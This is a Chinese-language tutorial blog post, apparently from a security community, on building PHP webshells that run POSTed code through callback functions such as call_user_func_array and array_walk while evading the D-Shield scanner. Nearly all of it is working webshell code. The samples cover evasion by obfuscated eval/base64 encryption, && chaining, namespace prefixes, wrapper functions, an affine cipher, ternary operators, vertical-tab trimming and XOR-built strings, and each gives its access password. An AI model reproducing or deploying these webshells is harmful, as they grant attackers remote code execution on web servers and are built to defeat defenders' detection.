回調函數繞過D盾小套路
注明:首發於先知社區:https://xz.aliyun.com/t/6823
最近略看表哥和是師傅們的文章,聽說D盾把所有回調函數都拉黑了,存在回調函數就報可疑。今天我將給大家帶來幾種消除這個可疑的幾種方法和思路,供大家參考。大家可以根據思路自行修改。
常見的回調函數如下:
call_user_func_array()
call_user_func()
array_udiff()
array_filter()
array_walk()
array_map()
array_reduce()
array_walk_recursive()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
接下來我就隨機選擇一個回調函數簡單構造一些免殺馬吧。那就直接選擇上述第一個call_user_func_array()函數吧,這個函數的作用是調用回調函數,並把一個數組參數作為回調函數的參數,使用說明如下:
call_user_func_array ( callable $callback , array $param_arr ) : mixed
把第一個參數作為回調函數(callback
)調用,把參數數組作(param_arr
)為回調函數的的參數傳入。
因此首先我就隨便寫了一個簡單的木馬如下:
<?php
call_user_func_array('assert', array($_POST['a']));
?>
使用最新版本的D盾查殺如下,報了4級可疑:
好了,已經正確表明D盾把回調函數call_user_func_array拉黑了,接下來將是我的重點,介紹如何繞過這種檢測。
混淆加密繞過
關於這個混淆加密繞過,我用了一種十分古老的工具"微盾php腳本加密專家"混淆加密,因為方便,哈哈,大家也可以自行混淆加密。直接將我上訴第一次寫的D盾報了4級可疑的代碼
<?php
call_user_func_array('assert', array($_POST['a']));
?>
進行混淆加密過后得到了如下結果:成功繞過D盾
<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=128;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMjYwKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXPkr9NTzEXHenNHtILT08XT08XHr8XhtONTznNTzEXHr8Pkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7eWpMfB5jfolvdJn2HeyjCB5vhtl7eWpZcbO1FM4ICbYzcbk0KX0hgW0hC2ySdy91F2aZb2c1dMYgCbkZCbLPfjExC2yVdZIpRoyZFMy5htOgAr9TaySmCUffhUL7eWP=
木馬使用方法:
密碼:a
掃描結果如下:
&&
繞過
使用&&
符號將所有代碼放到同一行來執行
<?php
($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));
?>
簡單解釋:同一行代碼使用&&符號連接是按照從左到右的順序執行的,所以首先將assert賦值給變量\(a,然后將從客戶端post過來的參數賦值給變量\)b,再使用回調函數調用assert函數,執行從客戶端post過來的數據。
木馬使用方法:
密碼:a
成功繞過,D盾掃描結果如下:
命名空間繞過
這個就更簡單了,直接在回調函數前加上命名空間反斜杠\
即可成功繞過。
繞過代碼如下:
<?php
\call_user_func_array('assert', array($_POST['a']));
?>
D盾掃描結果如下:
木馬使用方法:
密碼:a
再次繞過
<?php
($a = 'assert')&&($b = $_POST['a'])&&"\x0b".call_user_func_array(trim("\x0b".$a), array($b));
?>
函數繞過
隨便寫個函數,將回調函數藏到函數里面去,將代碼執行函數和post的參數通過參數傳給函數,即可成功繞過,繞過代碼如下:
<?php
function v01cano($aaa,$bbb){
call_user_func_array($aaa, $bbb);
}
v01cano('assert',array($_POST['a']));
?>
這樣也能繞?這也太假了吧。
木馬使用方法:
密碼:a
D盾掃描結果如下:
當然也可以將回調函數放在類里面,個人認為這與放在函數里面相似,所以不在贅述了。
自寫加密函數繞過
這個可能比前面的會略微復雜一點點,因為這里我的代碼執行函數assert直接傳入回調函數被D盾識別了,所以我就需要隱藏assert,隱藏方法太多了,下面我就自己寫了個仿射變換隱藏一下assert。
<?php
function encode($para0){
$m=strtolower($para0);
$a = 7;
$b = 21;
$c = "";
for($i=0;$i<strlen($m);$i++)
{
$c=$c.chr((((ord(substr($m,$i,1))-97)*$a+$b)%26)+97);
}
return $c;
}
$a = $_POST['a'];
call_user_func_array(encode('xhhfsw'), array($a));
?>
自己隨便寫了個函數就繞過了。
木馬使用方法:
密碼:a
D盾檢測結果如下:
三元運算符繞過
當我隨手寫下如下木馬時:
<?php
$a=$_GET['a'];
$b=$_POST['a'];
call_user_func_array($a, array($b));
?>
D盾報了二級可疑,可疑原因如下:
他竟然做了簡單的替換,將我的變量$a的值直接替換到了回調函數中,所以報了可疑,這就太有趣了,我想看看D盾會不會稍微復雜的運算,我猜它不會,於是我就寫下了三元運算符:成功繞過D盾。
<?php
$a=$_GET['a'];
$b=$_POST['a'];
call_user_func_array($a==$a?$a:$a, array($b));
?>
木馬使用方法:
url?a=assert
密碼:a
D盾檢測結果如下:
垂直制表符繞過
隨意選擇一個轉義符繞過,這里選擇了垂直制表符。
<?php
$b=$_POST['a'];
$a="\x0Bassert";
call_user_func_array(trim($a), array($b));
?>
使用垂直制表符最后要記得使用trim或者其他函數將空格去除即可。
D盾掃描結果如下:
再次繞過:
<?php
$b=$_POST['a'];
$a="assert";
call_user_func_array(trim("\x0B".$a), array($b));
?>
我就簡單介紹到這里吧,僅僅提供一些思路和方法給大家,其實方法太多太多了,還能繼續寫,靜態查殺的弊端已經越來越凸顯了,讓我們一起想動態查殺進攻吧。其實我感覺D盾也不是存靜態的查殺吧,畢竟在上述繞過的過程中大家也看到了,D盾也能夠獲取一些變量的值,做簡單的運算,代換,只是不會做復雜的運算和代換而已。最后希望D盾能夠向動態查殺進攻,查殺效果能夠越來越強大。
某個繞過
命名空間繞過:
<?php
function v01cano($aaa, $bbb){
$ccc=$bbb;
\array_walk($aaa, $ccc);
}
$ddd = 'rG!q-X'^"\x13\x34\x52\x14\x5f\x2c";
v01cano(array($_POST['e']), $ddd);
?>